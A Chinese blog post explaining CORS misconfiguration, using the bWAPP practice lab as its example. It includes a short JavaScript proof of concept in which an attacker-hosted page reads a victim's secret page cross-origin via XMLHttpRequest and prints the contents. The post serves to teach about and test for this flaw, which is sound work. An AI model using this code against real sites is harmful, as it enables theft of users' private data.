php配置cors跨域漏洞怎么修复,CORS跨域漏洞的简单认识

CORS

CORS(Cross-origin resource sharing),又称跨域资源共享。CORS的内容不叙述,可以阅读MDN文档。或者,阅读这篇文章:跨域资源共享 CORS 详解,同时还需要了解同源策略。CORS是一种实现ajax跨域加载资源的机制,如果CORS配置不当,就可能出现安全问题。是否存在安全问题,需要关注的响应头是:Access-Control-Allow-Origin,它确定了可以访问页面的来源。

BWAPP的CORS测试

low级别

1、主页面,点击 secret 跳转页面。

26c80d1cacbd

image

2、假设这是用户的页面,攻击者的目的是盗取里面的sercet内容。查看请求这个页面时的HTTP响应头,从Access-Control-Allow-Origin头可以看出服务器配置了CORS," * "表示所有的源服务器都可以加载这个页面上的资源。既然如此,攻击者直接发送一个自己构造的页面链接给用户,用户点击后,攻击页面使用ajax就可以直接读取另一个网站的敏感信息。

26c80d1cacbd

网站页面

26c80d1cacbd

HTTP响应头

window.onload = function(){

var xhr =new XMLHttpRequest(); // 创建AJAX的对象

// 设置使用的请求方式

xhr.open('get','http://192.168.253.132/bwapp/bwapp/secret-cors-1.php' ,true);

xhr.send(); // 发送请求

xhr.onreadystatechange=function(){

if(xhr.readyState === 4 ){ // 状态 4 表示服务器已响应

// 判断正常的响应结果的状态码

if(xhr.status >=200 && xhr.status<300 || xhr.status === 304){

console.log(xhr.responseText); // 获取响应体内容

}else{

console.log('0');

}

}

}

}

4、用户点击这个链接,加载test.html页面,里面的js代码就会执行,然后发送请求,处理响应结果。可以看到,控制台输出的信息就是另一个网站的页面信息。

26c80d1cacbd

攻击者服务器上的页面

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值